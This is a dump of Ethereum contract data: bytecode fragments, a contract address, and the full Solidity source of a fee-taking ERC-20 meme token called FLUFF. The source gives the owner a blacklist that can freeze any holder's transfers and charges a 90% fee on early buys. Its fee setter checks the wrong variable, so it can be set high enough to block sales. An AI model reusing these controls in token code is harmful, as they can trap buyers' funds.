ffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a257600080fd5b6113ab81611f24565b50565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114ef57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561157a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156115b657600080fd5b611607826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6118653382612062565b50565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310151561197a576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0e565b61198d838261202090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b611b0482826120be565b5050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611b5757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b9357600080fd5b611be4826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c77826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611db982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f6057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008083831115151561203257600080fd5b82840390508091505092915050565b600080828401905083811015151561205857600080fd5b8091505092915050565b61206c8282612266565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561214957600080fd5b6121d881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122628282612062565b5050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561228c57600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156122d957600080fd5b6122ee8160025461202090919063ffffffff16565b600281905550612345816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058206351efdf8cdc2e5d398e16fa18ae395d2560dac136ac8d38bde6cec9e32d60660029
{"success": true, "error": null, "results": {}}
5,030
0xdbfccbd685e24424574b43118c7eb2ec9b8b32d3
/** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FLUFF is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Fluffette Rogan"; string private constant _symbol = unicode"FLUFF"; uint256 private minContractTokensToSwap = 1e9 * 10**9; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _liquidityFeePercentage = 33; uint256 private _buyFee = 9; uint256 private _sellFee = 27; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _launchTime; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private _swapAll = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > _launchTime + (5 minutes)) { _teamFee = _buyFee; } else { _teamFee = 90; } if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(block.timestamp > _launchTime + (5 minutes)) { _teamFee = _sellFee; } else { _teamFee = 27; } if(contractTokenBalance > minContractTokensToSwap) { if(!_swapAll) { contractTokenBalance = minContractTokensToSwap; } swapAndLiquify(contractTokenBalance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 teamFeePercentage = 100 - _liquidityFeePercentage; uint256 amtForLiquidity = contractTokenBalance.mul(_liquidityFeePercentage).div(100); uint256 halfLiq = amtForLiquidity.div(2); uint256 amountToSwapForETH = contractTokenBalance.sub(halfLiq); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 feeBalance = ethBalance.mul(teamFeePercentage).div(100); sendETHToFee(feeBalance); uint256 ethForLiquidity = ethBalance - feeBalance; if (halfLiq > 0 && ethForLiquidity > 0) { // add liquidity addLiquidity(halfLiq, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, amtForLiquidity); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (30 minutes); _launchTime = block.timestamp; } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setBuyFee(uint256 buy) external { require(_msgSender() == _FeeAddress); require(buy <= 7, "Buy fee must be less than 7"); _buyFee = buy; } function setSellFee(uint256 sell) external { require(_msgSender() == _FeeAddress); require(sell <= 20, "Sell fee must be less than 20"); _sellFee = sell; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 3, "tax must be less than 3"); _taxFee = tax; } function setLiquidityFeePercent(uint256 liquidityFee) external { require(_msgSender() == _FeeAddress); require(_liquidityFeePercentage >= 0 && _liquidityFeePercentage <= 100, "liquidity fee percentage must be between 0 to 100"); _liquidityFeePercentage = liquidityFee; } function setMinContractTokensToSwap(uint256 numToken) external { require(_msgSender() == _FeeAddress); minContractTokensToSwap = numToken; } function setSwapAll(bool onoff) external { require(_msgSender() == _FeeAddress); _swapAll = onoff; } function setBots(address[] calldata bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101c65760003560e01c806370a08231116100f7578063b515566a11610095578063cf0848f711610064578063cf0848f7146105fb578063db92dbb614610624578063dd62ed3e1461064f578063de30aad11461068c576101cd565b8063b515566a1461057b578063c3c8cd80146105a4578063c4081a4c146105bb578063c9567bf9146105e4576101cd565b80638da5cb5b116100d15780638da5cb5b146104bf5780638ee88c53146104ea57806395d89b4114610513578063a9059cbb1461053e576101cd565b806370a0823114610442578063715018a61461047f5780638b4cee0814610496576101cd565b806327f3a72a11610164578063437823ec1161013e578063437823ec146103b05780634b740b16146103d95780635d098b38146104025780636fc3eaec1461042b576101cd565b806327f3a72a1461031d578063313ce567146103485780633bbac57914610373576101cd565b806312dfbd33116101a057806312dfbd331461026357806318160ddd1461028c57806323b872dd146102b7578063273123b7146102f4576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630cc835a31461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106b5565b6040516101f491906138a1565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f919061333b565b6106f2565b6040516102319190613886565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c9190613422565b610710565b005b34801561026f57600080fd5b5061028a60048036038101906102859190613422565b6107bf565b005b34801561029857600080fd5b506102a161082a565b6040516102ae9190613aa3565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d991906132e8565b61083b565b6040516102eb9190613886565b60405180910390f35b34801561030057600080fd5b5061031b60048036038101906103169190613221565b610914565b005b34801561032957600080fd5b50610332610a04565b60405161033f9190613aa3565b60405180910390f35b34801561035457600080fd5b5061035d610a14565b60405161036a9190613b4f565b60405180910390f35b34801561037f57600080fd5b5061039a60048036038101906103959190613221565b610a1d565b6040516103a79190613886565b60405180910390f35b3480156103bc57600080fd5b506103d760048036038101906103d2919061327b565b610a73565b005b3480156103e557600080fd5b5061040060048036038101906103fb91906133c8565b610b2f565b005b34801561040e57600080fd5b506104296004803603810190610424919061327b565b610bac565b005b34801561043757600080fd5b50610440610d23565b005b34801561044e57600080fd5b5061046960048036038101906104649190613221565b610d95565b6040516104769190613aa3565b60405180910390f35b34801561048b57600080fd5b50610494610de6565b005b3480156104a257600080fd5b506104bd60048036038101906104b89190613422565b610f39565b005b3480156104cb57600080fd5b506104d4610fe8565b6040516104e191906137b8565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c9190613422565b611011565b005b34801561051f57600080fd5b506105286110d1565b60405161053591906138a1565b60405180910390f35b34801561054a57600080fd5b506105656004803603810190610560919061333b565b61110e565b6040516105729190613886565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d919061337b565b61112c565b005b3480156105b057600080fd5b506105b9611366565b005b3480156105c757600080fd5b506105e260048036038101906105dd9190613422565b6113e0565b005b3480156105f057600080fd5b506105f961148f565b005b34801561060757600080fd5b50610622600480360381019061061d919061327b565b6119c1565b005b34801561063057600080fd5b50610639611a7d565b6040516106469190613aa3565b60405180910390f35b34801561065b57600080fd5b50610676600480360381019061067191906132a8565b611aaf565b6040516106839190613aa3565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae91906133c8565b611b36565b005b60606040518060400160405280600f81526020017f466c7566666574746520526f67616e0000000000000000000000000000000000815250905090565b60006107066106ff611bb4565b8484611bbc565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610751611bb4565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b60078111156107b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ac90613a23565b60405180910390fd5b80600d8190555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610800611bb4565b73ffffffffffffffffffffffffffffffffffffffff161461082057600080fd5b8060098190555050565b6000683635c9adc5dea00000905090565b6000610848848484611d87565b61090984610854611bb4565b610904856040518060600160405280602881526020016142a360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ba611bb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611bbc565b600190509392505050565b61091c611bb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a0906139c3565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a0f30610d95565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab4611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614610ad457600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b70611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614610b9057600080fd5b806015806101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bed611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614610c0d57600080fd5b600060056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d64611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614610d8457600080fd5b6000479050610d92816123ed565b50565b6000610ddf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e8565b9050919050565b610dee611bb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e72906139c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f7a611bb4565b73ffffffffffffffffffffffffffffffffffffffff1614610f9a57600080fd5b6014811115610fde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd590613963565b60405180910390fd5b80600e8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611052611bb4565b73ffffffffffffffffffffffffffffffffffffffff161461107257600080fd5b6000600c541015801561108857506064600c5411155b6110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90613943565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600581526020017f464c554646000000000000000000000000000000000000000000000000000000815250905090565b600061112261111b611bb4565b8484611d87565b6001905092915050565b611134611bb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b8906139c3565b60405180910390fd5b60005b828290